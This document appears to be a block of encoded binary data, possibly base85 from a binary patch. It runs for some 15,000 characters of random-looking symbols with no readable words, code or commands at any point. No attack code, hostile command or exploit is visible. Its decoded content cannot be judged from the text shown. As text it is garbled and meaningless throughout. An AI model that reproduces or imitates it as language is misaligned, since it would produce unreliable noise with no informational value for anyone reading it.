zvLdf|u;eT?4LZEqjlkd!QI^`{pI!Ox&u8s2>w=zIioyesF>Pqr5xG>Z>fOk*2%jw(_~X0rzG&rsJ55E zllgi}1oLdoCZW$)fTpxhL|VkJUDwfNV@-Mgtea~RG1X~1?-`J6F;CM=wKo1r72E zK@2oe8b&Wm)6SiCN?to}QBK$G%Piqsp3aTogs0kra-By3mXly%*?0=zHRBM$fTl(FQ`(zP}x zA4iGaPq#D1;92kDnFh`FuukpJeqcE{jaC|?mppgDkHCs;vLm8XXQ5F^i7>BQ-t%D3 zboow}1~@dc_QW;7__0$TB%Dnrl9x+pX{#nqR={QFwc#0MXCj@^U~2f>=H0O|C0lPA zz-rsNykN#pd-Z*3!i1)K0Uz7rM;{9Hs0c}^X{G$ww)&LWB5{)Sy+wQ{IBa1P&{g+r zF~q@3Y`}g&uu1=uef>Qw6L!I(SQb~k&XaLtSC!jvkaFq=GwB6?CV^)gtt>xQYRb%g zC_vYtpzVTAogCujE8tUbCwWdxmOXy;TjIbFODgb` zIZKEsLb58Y%dp%Nk9J%?!K0jx#gbY!t7m< z^C8DE4uEOkx>KEa=&Q;cFxLX3mh~V54v|w#hv1Vi3jWgs1=u4Y%oU2JlTpBfz=}2F8(^GS!@W^6F z__a;;T3c(XEi%iuyXJHoPF3u635A=e1>RyM!W(pljdVsnW{i11T5sVss6>gTx;@o7 z-`kQ-pYt0uF-YTy>jR0DaUiFcGc~)q-p*?5zvqJvwbj+25_xyU)D9mx&bEsn$WFb} zhy6o0*7r3nf|#^S4T+8Uw&K3M|Rk>wC~ zMyu+~0WYwo{GQ$EcnO@0`}qZ#``Kzr(R19XiI3YunAe`nTaJ9+mix}LEz3&4f1kwV zj-RIS?ei?r4m_UpN^gao&XNOcEX!L zLkMkC);ZW5@@s2nyyyrCH^rZvk=t^#<`>)`jBOC@pmx{B2}XAQ2_;XOF=kkF)~};*-vyORjk;bp&98o&E;*7wR}GO^xtg?l zZ2xSZyA;mU>*adi`hE%Z_;fs&U&(PTudK|1{08t|Z$n;~bV|mz~FqoKr}rOKV{g1=J;@N^XCU4L#)IsL#ENyBz(z zKDao>Pf%EkZk@$ zQ~?VWX3fU!KX!V<2*`1lHI(DKlQoyJ!K#@H3kzy5Bc3ugHJVVeHsf_t&is^I+r{hK`Fin6-Q2T>oZPZc`*O_mCoWB|FD zrce^kS9)PJ<(&U5NzL{UJZT(b$9AkguMkK6a*>}~q+-d}<~fbQhxP)S$pf&|tXIhU zD|erD3wNyer1m-X5{qf0fVZ}JP*B5GuD{3BH6JGoPCNFCskC@pdG(c;@0Q!$%vWwB zULiN+vJVcZkEra(NA^JdZxDmH7^gX?TLQu*t)kc==JFIoP}w~GF<4_h+2=@Vf6V+( znQBQ|5C^qXHuT*%D=RVFV8#0rmwq)i34sHK_+WFAdMlUwH|rM9O5n7_%JfrnAK$0- zSO~yuI*A86RbOR+4UA6;u?f*NXoMO4yMepN4a8Nmyc?^mRxSx0p}J$Bb0{)zQ%bFs zCOI9h$yfOZT$<@CeLdXM{e%_&!eom-i-!<1QJlxi7O=-EMc)tAL2r|!Z;9^k8Rz|2 zNi!C0sfN+Yzq&Z`1&zN6tAN7QM__1x8`%=~ztQk=b0bTEDPMolk+1Nk>GHEPL%b_w zphP4>19rvKAJEHbenMVSXvSln7))1lwxn9s%VV}uuyJC}H%~b?!G*zBbA%GYX4Yho z7xvCNJH}bDW;^QSQ@VPXtx4g9+=H8y;3El7Xter5!hC>NNZntcvO=nX%gBceL(cVhxTGDi4dCGl#( zz0$Jm*M4(&yvD=`$`_uA%EBg$nGaX5VivJ`YkA)<$QoSl;H@FK229*P#15wg-4yBR z3|COxjJ1e#o34`JrM~@5sTQQP^?FRLo5qE7kb(q#E_;)p{UpMdg~_IW_6>>mi@yFo zkLN*#crEYS<6a1-m{6*bvN~oF+3^^j3$)gNXZPR-xHi?EqxwCyl_faVOU3)cmvl~l zjRGS37E$ zieG-;!4DMlj!)B18R%oVyK<0+6Batcaa-Tpk#&Y^#57st-YJAZAl%2URkb<6=h1vQ-H3ffRz+4kenub~ zeYG%Zv(aHTfSdo2I}|ekklqIcSo;?{4&I{JmxxRO7RV#+Uv3y%-t9LGy~^L;INB$# zjE>lB;=BUX(u&5ggh)SgOkRF4x~DA$?s^>iAt|yynBknF3Trh=Yu5e{Ly| zv)CWG-Lc1#hPs|>A~or@0)eTN*{S=VmKaFN8ykHr2F2^{a00YzH$#EE7!<57Lo189 z;rBf)Shs^QkX|q`6L5VT9CJ!Ss||cr|4X`KkHzpnQJGmDbjPaj8v=94^EYgKea*^j zx_51t-bxko21}a%rs|9nzYkB_ofpsWH2#&;3Rl75^`w#w<=nf~qd)y5L_(s68}|qq z4AerqF_h(R>!E282FD}CxwG4h)%@n0-p1D(U9jpU`HNeK5kE&f z{^kpf1nfcQ=DDZh)wJ<@l2vv_A*%fnI0lo}^#_%E!z{3||6a<1X`r(5(&&;;R?ZM9 z_(L6*6R+YS4n~>ccz?vL2_wkSBEdN~Po$~(HhXHCusEOu1MZm16@cH5m+av{N!RBT zNR|Mgk>uU)Cg~|Gt3>2RleJh;&k+Bxf zn+~jud|_u92_t_q&W_q>sdx1UmZSd zw|(T|ud0rJ6^$QG-tl7_0_<7^7*eb7!}TCNN#p0uAIn2z#K@NV*FG`9<-iPZC&9gh z)lY1L-Q}CMmvw_eK{+1&+)ob$s<;mKr)u7*Nkl8UI=#dmJe!=I3+158YX8KTBBE}Q zs=#@i9n;<{r%*?r@Q?06)N zAwtwbV@}!00A2sXcjc(fT8fvd3u1`8fFN@cmO<7xe6i7UBQcSoGmx>>1?^La^Lc;o<^$kl(nD`lHINaWB z`^!>hPs@iHgFqrB7;g!Hifk&ubHRe55$(ke|8M}FY|d-&@p}uz2Kq`IR|*6Hajul- zhVjkJ+|isW4|&BxwIsg|ZcUyw9y4}uy+^d_x~ZDhKWGV{2k0_~Xj4kK3cXUvJ3{F4 z$elX|;)f#RwG;98hN-KqzS}WtH|UY#2)>FF@;_v%`Kx>-aAc)%B%^`)YtPNV_h(ZE z^TP3JaF44>D}q}pD7_q+_J-IdUMyjz0OPj)?M+i9kAFUW14%qSj+HkH75afYrT|E9 za<#F_w_7_#&M@6Hq1aj{f%$izK5#amq_8o}zkl?DtN$O>FM%U3jVl?gn%_GdH_JIz zjU+w<^Iy?VPG0>+7&zDZ zff^6`+Jbb$*xK;HSsb4KVg6#eW_}x-7zJhnQ%#VcKF~~|Nkx`jq?QW~I<{fQm%)3tCEJRe51%03wJ?@mt+^hBA&maPljYD51|EfIEEGZi4tL zMe+EV07o*w*|7j%PK824CUzBolIMRnlyl_+bOx$GiFHd{WOL0mX+HZ3FzFkMdJpn*J!IE2aiCx1Dnu}Zs?+7J5RLOw@eBO^JM zGoNJ>ObN6&u6cT}1DX)yX-jY4ej@b7-Q(Fm>yQk&Eve*JsX|Xo{PdQKCoq5|qGit> ziUOC-B*9LHXw%g%#hmAfBE5hk=HrAOMHCn|X6n5~ZM~Gs*RX-SOq70}%487o?z-He-#c4Rq$T1YQ;=14Y6B zdv>px5(8|fg4{!3jg*JxjE15$=Oew{+g@BXFLoNbi1zSP)Whm3Rf_%^peuo!8@X`C zq_rbE=Y1qRD&InB4b6C2p9tVFGczurY9oeb1EN<4oq#Mc6_T$lBtRa?=Nle2s)k%H zKq5Nz2`yB0fF0|-cq+>7F-tiYND5Q8sZkIvCw44M%ULh{ma5+*^^tOpAJo4C_Iu#p z1B`$DIucS4pnuE7z5bmW8DWk>%|jw6!T5)T!Oy`Kp9k)B1R?f*ku;Z{SHB@*`6^A# zW!oKzmD78|`25(B0a|xGpU5Lgh&xr!Q<}z>a#B$_DP|7|i&w#yH@Qn!E4Y{`U@CHd zwGspJNxeCEkd$v;$zB)8Z{f!RVaU19)0LkjFkbr+%F<6?Z9so~q-T+uL4OQQ>TP}Z z2rK>3B`(6_e}I&0QfRka&X8+g%~9B%MyNuhc0Vhm z=$;^$1JAQvUe5+~{@tT;(tj0n0WdM3T(omL%kSdM6AFwAk&~3a+PHfs?YIIMcvVbU zi*bc1KDOW}@LO#2L?CNMv0nT zB|@(Kr?>Ny`Y_0B+_l5%-rbVN{O9xBpn#)8u(6w$wz@z-Dye(D)iF{i8RCaYPl48X z@7F90BuVpLaH5-*s` zj*IJ{zPLObD@GKF7g8R4J=s$de{ePkoHGTB>AG=Rkls#qJChKM7ebh}#?+J5ahC?S zgwlPWElk4@)m3~22>`cU&)ogJAw~Mh`O&U)?554Zqd1=_?O9`YptEitX9Gu>`SrD@ zX3r`w88ZV9xtrYBe%P~aghqm@|L|{}L+@Qd&BHTMkzW!mVUCj%VPY_R101dXq?gUr z!y*|V@}G|+10(a#aL__xhzORuy~HcxZ@5wup)vg?%B*-mO6*)aFSZ6zY83`QO~TW) zryFHIIN0ZuesIb4)f-$H+P3=#NyE)wi`PR;M>lXnjdK)A8B>+q*$J8ospRqaePmfa zdkShyl_yK7$5jK9SZUO!M%sXH+pQl{w$0&6X>&2y{+|Iw$c4qiHF?O!hv4w_%1)+A zA-{@#!2Z2@kfAecbhp>~xYxe@rF#?w0(Bp>&E%n;=TKap^R?f#HNb38F3?;H&flqD zRdKH_fe;+C&Z}R?JVroaB#sc_ae1Jpwo0JENr?EO$eMn%O-*GkpTC^-ELgwJFa;d$ zAAGtpfE0l^7y@(Jx zFs4!xUudr8y%52b_F#9uwAUq8B9ZKX!y%>SoQTF%pKm0vn!~c4@1p=Tq~xc^Jar$c zDhtyz^nsIds3SEUs>M?XKuha81I|+2P~ZmopQ)Z)rFDoVwQlEU6^`k@SrEI79j!wT zaS&<@h7?=A)3@|x9@^|aC05htqbM|v4;bvyNs#=$>bRG*hW)elS^s4tGd%tXq_}*Y z!E-0VAzTys0(in?e`%V*b75dfnY3|8*mVGfC#Nb;k18z{TW!p>r^t+!9;W|~D+^ln z>&93X5A58RZWFC1d~yUvwWLHe6F@PqUx)GHZ0GaB-J^xXz!l zG^1^8x>0{JwXdDr(h^FHWF}sO;}qchN=W*}u^G>ZPpP$_hglp4JgmaW>F-UsScQoT z%;i}L@c47{j2|z|biBXjY3@KL`<#>F%ZIoRm6*YU>(upjH#gN;+QB{k%d+E0T!BmS zQlDgC0KVQ+Ii-NHzNn%B@SZt4o~h-`m3gyC*hAgWBj&YbruRy$f?rZ~dHviIjkFtX zsf+z<0K@sk0F$_Pv16?n5!o4jvjR}#_BgPgw!&~KbIhskG?7(2TO-im!RA^7S<$ws zy2O6`ghtvew@y$=9$oGa9t2#1aQ7aQG>~At0v42j%2j^nI|mVT83C9?5Zkj*_6R>i zHOSZH8|r>|yA%JOGBe$BT9BKZgZ|3(OG^$9>NtvOr=ezaP?63P$e)5jvDrrt zw}n&}>GN&k7OmONSb<|f?FS)aNyA;`Gyh`4A#)((*lvLgD|yU!^*L5Vsg%Azpu_dQ zb_Y*>c+#6zD-ic)Dv<3}m@rL(mWz^o9=c4M7o|C~NmlYs+U0^I0EcKl1ZIo+ZN;VF zvDBNEk}LJd$W(1b+MGDWscF)3`g8lCT6`Cy>wWbW)F8uN?|(t+5a#+Co(3MjzDP&} zb9li%br3Kj$$<;p+m^wW;%)wD>RszTCok0q)&3y?Qb#7&*1CGi$NZJjIm%_5*+o2)`LEH2YVt zR>yZWTu*_YG9z3Y3g0!F{n;l5yC<-q)sCb8(fX2m+O;ZCLr{JM{ zUSm-d@5z@pFk5_G4oqd^#}-rOrj41v!iGAZb6%}_cl7S>9kJaLSYhPE02xJW_tQFi z3s{UyJSf@Hg@4Tjd^Jhq9`hE()Ve83Na4C>l9!aplRu%TXG54ur4?!Gfid~y-vhD* z2SkqnW7mj#{=VcHrbY%pA34I5k}GiVCIVoo{_$2KZA1hHaJ?e2RHg$@TgXVKxsh(u zEn8##e^CP}QvA?zadBngst>GI`ZJAb|5DNzX*9ycR!F_^5UDq+-Yabtp?i)2P}MpEj<%;s@p5ifl}T<4!oE`E)5H$d|KKr zehqHHTDdOUW*}0UoAII2&;Zj7gY}izcnHyQmX6=%xa{SzK{y)#n#4l^b@t`>LeiPm z${}t3z^SYSfjk0x!Afjp%au~LS3^;&Rmga+ z`LwD$h^a+%y|ywhSue>aGeFhvOdkFP#n4`#jk2XljenKjA1>)y`zSK`cYVmI$~$fD zGaoRY#=k>l8DxfiQK^SOs5Z#R^t=sOpP!}ME3@{rnK1<;IC6TRl(fL9#aXHo*p!R1 zOrk~m&$7@2w3r~$D~?E?IvnIzAYBOISM|4VYDpMLfGog7^mm24Xg63>{C(9(Q}jSw zA;M9n&Eg8FI`$Xoh%3Q`YQ2Bgg}j861vvPFeWe&Rd0A-AZAMo6Qn2Q-A-M!n>A?3L zCanM)If_qN*|2571|q$Lj>9~kgu_=5R54>C6R?-CPTrau3m**1H;scY=^ehbapPSm zdGhGjD&Y4|zOCk9`O%B5uMAkockU2C`{=e0Dp|_>jlZp4&#+P0G5lM-+u^A|922D1 znmhLEWTt}R@M_P&)T|0m1mhC9Hjk%VO{n%;kVeWic37X|#Y0t^0`o71c;Nuo{pGhq z$^Aj|cYa1RH22n9NJ(I*N>naXmXWOr)~yZ40{QknY>aO|jWc34)Vc`-T~vSIyp$n$ z{8xe9=52^Gq`zOcbL=KxGg@1A z<^$2A%dv6~d321=Zr^YO9AE=ZANZYrSOhRRh_Pb_klV(}V;1Z&Jj1MiXU60{58NaF ztepn=`S+7p1Tc0PM|WUzcCscO)>oR5fro3`!9H`L8D(BB42P9B8yXDQcoT%_y9WSv0eoyU?x%pm=Cf%p@6ljK!xaV42p z4G7)5q)Qzi3dcak%nO39fJi%VS%?3)DWdft%QCzGaSPG;UC2nirQnL4+ViDmmrcNeS%4yFEhJpJJhns(@oC1+( zJLCPQB0R=;R7{z&lJ^MG3zO0Ra&$p@bQhRKp9BpBWOnjv2F+@Vggh@IDrYIn;7(=$ zY^FrLz9CW_qR#wt#lD&MlHh{E) z#gSgkE+Ba=G~;@cdE7dty{s4^Rhbr23{~>gB@94$dc#fsp2!e6@r7~9jCUf60S~=HPz8D!`gl+Q z4&)=g=?+R+gDUSubbr-)@|#tZGC;B-<*JIMy!@R}4f6E4XxLJ_O`Rcl)iz^C{J0JD z|5cM1!UfM9K%@`pNNafw&7>IQmi7px5Ak&kgR{56Btak`HPsztHspbq%GQ8A04HS} z0t))Y((nd3aApc};Dz6~pNK`%%;fZZd+87n+4m+Ag)UWjNqWL8n5;Q_04eFWfkBo$ z_SoRzB{?K7@Y^DFJaRxC6M;BOOPgKnd9?J;K);sF~5{O+&8ua0C(Syq0sNi8BBalFqS0$?%l(jk-M zueAuOhxJeYYaUDnpgr<`PCD9 z!Sdd(RjIa)x6+Zee1|MDb|oOd3$jiC&er~J=79=5NKLzq3Nv!Q3LX%kL?3uO1Wy`~ zO&b242?utyoCW0LfO7>;Wjdpy=`B2`&F^f`q>*2EGdQq0rtkovAAU_Agj?Rq^#fLx zO6%tuKb~QaK9ECBD3t%d6Gj_2QO%e^lvI6rzqVuoB7Boy5Ou9Z2c#N?s4s58bx%&1=@qX?VR{t*6W>!8bC|H(#m-PHt*pLe`fh&Eo+y-h>NlOnV;su}V_`!&LP) ziLS6E?*P#m7AqaKE@ER&b}EY@SuK2r0EhK(f>S%vrJY77Ggtjlf*e(_871@G?fNDVBcUX(OjRA)bQ6a@Ya;#`0 zm8=oIz?0|m5}bW{5FVlr(ZO}gqS0NikD>zWpp&=GX_9;6Fo373Q!cJL_~Zk{`Ol5B zczrT7@G{;eEyUM$8ju+e0$@{I^a`bkKopnLb367kF^w&dtf74B_4*2^>m8cW_P+!W zN^W%Ya4knInw~WxXY{TscUP1&DG7!JL6YQ{Ty!(l&!4nmE2k)~rDM8hKHK{MygIU;A8*UK8e) zp~3P?#gz91RqPwZ(GsXHXkoSSUU8(gqQJDkcI=#QLf&!jCp)ncbCML7Gchr1p;vdI zp~#-g$N@#{Y6MJc2!R(CFrQ}R^O3t`QB2@3p&ZM&37q)NWXoFEF}v3UFATB7twX`_ zuGCZTynUdkkiL_h%>$LekLitOe5*+NYh@Yo(Jl@rfy;QNBhcN62DdCe=`RygjmjH7 zQQofz8U|r=y#x&Pga9p$a{AL6a9QS>q+IGPIgw54~pZiM3KK3bRF1dBx)HYuv zY?;5h@C{f`SxLWg<;4HcLm+F#bBCu%=aMI=q!>Dv8M+FPEB-b3=c4J}e%yZciwyq! zSiurBQW5kxuFxk5(H{EGrf{Iwq4oR#AFUL|6p`ks>wgsvy!VD@`EMMS5=`QBe^o5l}irMTHe46d@px2neAF z5s?lF5PAyBIc=Zod=)h-tp0t%X$xry8O7Ac=PwTyeK*|ty0Cod6*#~*mc!u}g8cY+ zb$`9`49n%V)I4z=lc~X=txNv1_0ojasS66b+*Ix$wKBD@3xXkf3*_^*HJ(uVY=#bK zk^Mmb-}g)HQxi+<8yWaTY-lCiqVKboCHUJNv+WK2THO`YjDhg{z@Orxm!m@Ji^8hJ zNJC>og!cX~=YOp(l$SsBJw-~$N2mofYFHG}`r6l*3()hAPjDw_3J8VD3t4t69!#iU zF5Lbzx6^Y(>5GeqmR4_nzY$EJ>R&h3?k$$E|Lf5AFB22LYgDEUXvLF+MZZgNc3t%e zqqd;owR!TPmdxA1NK+=>D2~LJE`%G4RKdI-d zka{Hb(ycR=-7Y_!My(7%23WL))}iACm-Z7}@Wf@e{3KHna`h@WPTd*fcD7hHztkZ^ zTWlc3>W*l_uN}SgW1>W=cA@A{Z#g|sbmV`}BwkZ!8EC5fuC4uveT#;1R(r|^Z5>mk zk7VVVw)RDP6Kg{&rTDpu9~+vc+wnOqKY@LPezsm|w@h}u)gE6+v7}IhPz&QovB%h* zk>2uf_TmWWQKcX!&pmsZ4Tq`4XMKJPH(U(N{MQ8AAI{uPAN`KJuKd1mC8<00?tniA z+5bi=KUc|QuDoONO1M^DzsyfWkfIn?rhjsi*3#o*YNaD5|2?I^*AN>XY8BJ|A|o}~ z-&9@NU|*DCv8?=*Qd&z`p^0+Czca0XSI`cX-RFh3boC2oJ?N6a-*76*cncfod&vsjF;(AHKJ2TZnQ7#HrK|RCIQv34%noemvsuI!ib9vZdL1v) zAF2JoMjFE5?B!~Sgh?>bZLXY5^xEIg-rVsd$& zhgWJn7BmB8GSssBLtz-1M|gREgev;I7ei$+U$3r&e0>n^ zSbyT@YHE?pok;QV$lGpfA8sp@N2113P)Crc%oM1e0oLd5#nJXpLqFfDeNv`NWht1a4v6y+KV<1}jePvy6+{7r!x?5zBQ%ECdt4LI08>}o&oU`GV(h>t|uxsV|d zqSk*S(qb^Iw><9{#+J!=W_6Vu&_b?s+rPi{eeap4X5OOO@cX$IN@hw2CEniao0O=l zIB#L6mjCdlCo%N|?;@HW-!gbx)kHJ&0H67m!$=#xS9ZLz`s zIXAak-~=_IF<5RBBfdHk*;P`+_F0e4MW6j&!F!JcaulR8LiK);1)a6wp9{g^Q?^5I zdt6#xYW=sVF1W2WPx!B2AXf357eA(>(8A=ek>2MYUN2wIwNTt602?yxarh}v>s?Gnp+Xw>YE+ zsTGE`|3^!03&C&4?*DYa z*)CPXYqj}q`#enJMtW7lVSzp=yu06z*LEnLDspT7&tkJ@L-jQnw>H7Vhd1-m&1Av_ zMWxMtGJ1LT!uZd13omJQZD`=0jH}&RAHDo<8&vRso~-bGx7vK_yktiqt1qPnqO*Tj z(RnrGPe;29RBwy*xZ-fw6=2B!+Nx;O2WT*G$zsWAx#@Z~s=;qJH#e*NSm6h$XLn@V zXM;w^nl71|ZQe*gBU+Y=9h7RFsuZ%ZukVn=t+XRYqJ^y6brqb_H7^bQW1DjsYCY)(~d;B2U2!Hc@OhdCn-;MCJo znLf>7*TJ4nYikjM@KpsdiF6GQ)B*v_PBsT zLgIJ)9q@qQzBy94djxhVZy17>>JtVej`8{P{6-<7Ai|PJ5q}Zt$78n2edbPWQAh+X zhXp#lMH&|T%SvWXN3*so(pu8Tdiy^V=D(bx4h_j{-A1<%`t^K$e59*cTa&?hA}l6o zU((pv2r}iQagzJD<|u(0wZ-M-shUyBi>j)`Z)sCx_&7qNEX*{Ye*EfU=E#$pc{Q^OU|{c4K#+M zkoWHW0uID|gCuuINl3i@_%Wxa%*xSfF3`O8yx}0>8I_PoMc&ZNeqB3XLU=&k~Mi*85vlr>bh#VY- zvH2@zdQCt;&`j~5o3fPjv6$~E!9#v6pb?w2lO+gFWY9$o4)AD05AHg$=4}9R0~VNp?4hyXz*# z-&_si=HTEEMQw%9zICC&gl6i)z8EtTkkr+WH`psA_U6!Fw0?oDGC1^S08RR&CSUiQ zfAe)UjHVY+fxAKA-KP^{Al2-o%dw@vmg_i05fz|Ss<3x-O+okFju;Y-niS z2!%aSEJxB!E(%X!Jpw#vq z5yZ_ir?4Bpm0`C8_#-T)-k24Dm}7mYuFkKG zGTALDJvXl>@2(zTGh0$@!=ES^g#~$4UG29VG8REvn**IflsS6BbJtPqvrz80Ic6V( zqv(&xrSK+9Ve2?7=)nr?y&%sYwLOiG+WrS$yJ>A4{WU0sJh>UU_u*edD>@S!hT+Pt zAP^a>HYB3P!j<7T6pp#XYX!53_~X>6X)g%xIF2zBFu%B}r-F=qx3#6?&svZz1&&6S z7---V*n3Y_o&)8JU*T%eqhh9k!vqaYiXS-4E7v10kkYV?Kko_sD5a9lsv|&Cx!5K ziS+f2n!B7cmP5wdskWUVaPQeV$0py>Xb0<&K}7}>6=5=;&@^RI64dgxR!R!1-zUp+ z)?z>t+6s@Z7}#Pu>cxvAsOJH=ZaQMk&6t{iT(3sM6Bhd3o_1>swLv?#aCfnQeVFeN zh;zf-u(c%wtYYK6``*%8D2Pnv`fPCTlbN&mRv-+VP**8zXh;ISV6?<$eI3ev;)RMS zh*UKJ&DezF<1z+pRuL0NYy8GdJUotD6~%#Q1b%T&N=oXV;y?J#aGELZ3=s2r^FDPN zL)5zBcJE&b9F8IL`?UG{c z9FY`4X~f|*gf5$#<42PHNZ7a-LeNf>|3fr>K;hl zim(l?>QMlD4!8bB9bWLpTr7kWU)Hh^x;Ery{WL%SB51@RVz~DE<|Zql%@xKIgfuUN zUUP70zPC#V+~63SEsk@g5btPep1C9v|4#{ej?0pt{?s1wN47-@Cyxd~vKpbbdms)+j9KqtscIfjghW2Fv_IbXh5IK!ET_4VtE zi~sN%|F~J|uqiwUdV2_Ty*@$EId60nr_`{rrhOTf`HisN2cUi35M6_ zKUX1nu4m90)5^wHE-pgW4>i?SuQ`TZX}<}@p#}zQxFjA+SGCJ^X<%gx)@S)FL#)c5 z6Afplqk_l72G?fPV+-m+W;H_E_Jgo*;S?)to~fz?nj0-|ef;<_lKLidZ_yiS9fFB- z4B5N^n?45cSo1>=F$z9@jOITx=(;DCSmC*%59j38M=dURCE(qr=jJ9u^<5PIh@I*v zV)mmcv&p)oox6fVLO`FQNvd*zXaA!11%(3&yLP#Ic=VA5@g-=imAQ{JlNr^pJtEz} z9JqYHX@}21DcKf>%^ewW01c3+(crM4bBYHinRC!-U0h@4pmU7uzC_SaH##~dicKxD zt6t1cC7iwlP(O#mY1m%$`S79Us^hh!zJ=HI^|^E0wVgOdD|)y*=opx!ygXmP*@cB| z8q((7KGf8tUQ(>%-HVT$9iA&6_M4uWwaQX&BL~^MhsSs4V%CNUupH$0_SG`p*RZir z@+SBOwX+1R89Sl{79=>9P3NT*p%lgAyf<8%I6ubw)S`v?kd~hQkf6&x z<8ChokmzJ4Zd*;AL-nYv)Evgf3aVo_OkvLIlYvqzD=UVajVkuGE`4oVIw0*s+Vr%$ z{P&(na$7fh9*?=|;Ls_8rTcNG3o(HU$HhaattvwmA>sz%%kJDUy=7u!W~TG@vA5o| z+1vo?=XC4q_V)L>7N*A|bOY(*^tJDOgx=A<^I$l@1ldAk@-w0E!)W~Zvof=v?g_{t zruNnZkj&1VGX{=&5Q<38n$O1Yy~M9 zK`R4$JGanK9)>4@5UbR#tklW2NaM2|Y*GJ>+ro!m*=Mw#7lCy0@%=iNHCmo#2B))F z_8dTks5@Ue^7{lo0|dEY(k?;az)`=5@{qYx&fDa!jg5_R81vg+7e5md{XxXM{?1<@ zXdHF+!HcbIFO*yVy9mY-Z!_~t_8I9NNPNqH-)JQB`C#oroAe)lw9D7Ow^Qv@L1TMn zyKjQ%`uB|+Q{naYwYQ8h#O>aSr&}P`Zksda9S5*!VR>xw>J5&LiDvfD z;eWchi4HnNXoGA)_Y(@u#X784qEC_JB`Y6UAwpXr6Ke zXIXrCtS+(IXK?*foCtY6%3cE@w<0SGn@ohxl%Y5~(Su#}(mKHaMi-WsKlQ#|WRbNY zvlyhiKW;2fh93d8x1-By*_sNezZlaWs#8IvzvDZ_1pkpj;=AuN*FkUP$vzZQ8ML8~ z+#dFd+Nztgukuu@4_}#mZVR0Q9wvTeG-7SB1P$QKp_3{nBe%1?n7KGk%$AKUIaEJt zYZ$TyY`DU`!?nD0FS47<5pu)urmtJC^I<{Mx){;9IwvY*&Wb?{ynoK`{CV;LTw7Dq zIetPm8$;q9HHcW90$}3x%a`{up;1CDT6K(9huK@JF^pwMY)Vg$m5i_;!H^|rgKc~= z)0J^hxF|WcY?q)^?OXxrs`J$zFD_Mn&##Z-9Q(8YKht`{*12b6q3?04>ko*E#TM8) z!=KMVBU4pQ;r8FfvEmWasiyLHa`^hlQUHy`S}g)22hx_++9h${QEYw*`eWM5mw%8r zM3GtwR`8!c)V(H~nGIl2c(gk8(_THkvxHoOV4ZD2sI8@+nvhU3u$f%`Y5>m94J@P! z@sF}j$Lhbl@|4Xs^l#iOB;u^&DIs2hJqo zy0f#D%eh}roFYQ95q=O?@1k1V-Pt(}-pz$hw!M^VdE<>J!P=}L3p)2X-Y z#jFjPT09z4y%Nq5n5vKvfzTvW0I*rstJ(v?UAvogAi&Y*!YqX#ET(!Cz;sc}=eB?w zy4Bmv1k6tb>ws`kPIH7A8&ON-R^w>M1_!UZQBF;1x{P0fBCY1OaAsmw=QYwRie#P0L&cO#u>8WM75pLkDEb#*d=$Gt8r2ZFIEj z)x~}M_(S56rP+)cRN5t_+qZ9nKwB4IR(9%1;%{{6O#oj9<WXYe05;P@)^6;8`ci;GY!WNcOiy61r)D2 z)2@DXd{Wd^J~r=p0NQi*i}&k?Er#6B=?#o2`QZvTzURpF9jZ+obVkGh7XYVrk;;Q- zP7ajXcX4+K+BMuhN{zhFV-R>#cns&6ouSEjw_`ZYN@HkfXyvUYLt?bgaR_75I!njz zh=XZro~k}Tuclf%Qqz9S6})nSuehP-C;2G**8j{nG)trY{lY1>!8cI)JJ z*zz_>QQ$|wzddR*S;fvdr)9K)VN=R0U&CiYCjrJIgA7vw1jL1*cayh{d>YfM0^dFH z=FOW@2aYggo4WELB6MwuG$thG_`y}r8nUhm<#rDKQ})lx!os+C`KV`V6hDvE2EFft z{nT*^=PtX!5YVPQBh^dHHeH-0SW*DaB@Hgk6vQA1xdHE|(-PHR{Zp5%9y!epz*kYj|gC^%iI3hGSU&VZ$wkC?Ju%n^)?_S5tM2MTLZg zzYTrg|7W<>*3e9Ny%7D9c~(zZPes=+l~q+t6pw6OF)9lq=aO98N|}z)%zpMp3aXb# z1n0kWQ>axaUfNPw<0CIr)O~RjB10WM2?bCaLR+pvWCg~U_VxC5yu(1}ydpTyY@MT$ z`8f;V7Q~B(>*J~^rS7dyX84PkKa!tCt*Kk@Zm>7Dbtub$w!~Si)tI{= z%vE`I-vW;e1|{&t%X@%S+EwmD_XoKwh*LXmaoJJ6W3|i|XdkWp0zl}1vE4A0k<`Bm zV2jxmjTL;E!F{x5#V(^2!XXjX9ujzGc3?+xJs| zrLk<>`-2xgFJ)8_`JEA7C?<-xG69Pfjv#Rk9Xb?9ij7zwtFor`jUp^8!?ck`+rNVB z#|`DvvpnoO{2@hXi8Kk&_B6;8rGz8!E7DP~^?XCjRXSc@^t2fm8iR!j15JM1XguDp zM89BkMM+mVv8n0k;^J0S*pkg^9i2W#o6L=*QRAalvz3_`G~zjMt;u0aI^{Es^r6}y zQ51uLujOH5A~#Y689f+Y;&Q1fZG9hOl8$R>-o4JJ?V`N;r5&SYJOuL<_mu;^2ISrL zIDc(4mTd^qO@6XmT!JnFtWWltqII%79Eq2UdMdbDp9xk;4geP|T7EE!0k0dxs9JD2 z`)XQP*~i5vdr_c_p#VOs=Nvn8gA1}PV9wEb{8c4_U?>&9x9x$W2=j#uf;+2T}2X|NV*)$ zdAWo%b#gMIkMnlu>FJGeMxkqb)9o?vFP!}JOF`t6w?j^D)a-)S@J*+dLF~3ixId{m zAHvy7y#QNg*1FAE>G+L&Higg*z#}LDKc<8jfwMg4EZ2M6ciGDwu#At|lt97t?%hmL zEM6x!`Jd}W<)I4)f!``0ex#f|?lf*lTieCnwuN}zy7e?>wGp{{eJ+R>OQ$u<7fh0{ zTy1cNFYAcNdsAr#gM-(LM-g|qTzL2@@uH!e2OuhjY@w#+=KHEyi+`w{P?E7CgM|GR zP@vGUGl|PXHQ6jU{bq1*<>{nJf|HF+C*F8VS@GarE(d~b8e^I>z6#0D_MkZTGcs&I z2XN*V0+9}`%1gE-;x3}@l#pKgx&t^p*`1GI#p9CAnz!;vy$Q9&R6yBOK^j`j_=vB|2 z;cZLbxpQY2Waq%OI!3j6xO;fIVn*#MV0t@%^yvx!ShJs82Vmksf9TVOETHKWYVtI6im_uTKUGRqP8254Ekm&=^wc}Yv26&h({jife zcI}D-g-(1#54aDZ<>AIm1Io4@A4Km+_&lln`x&pE7p0|#Fr(eHnXYT`)^<=R3AlMc z+<*b8n|_rD+S0Zzga(62B-2GO%&ka6i+s(8KvZ3;BOnsw*=x!d1Qgh;PV;e zHnq=Fr{&;`tE&x5b70-eq6hIYltzRj1RRm0pr9F*j4Dj&alsQjtZ!VYN0+65UU-1$ 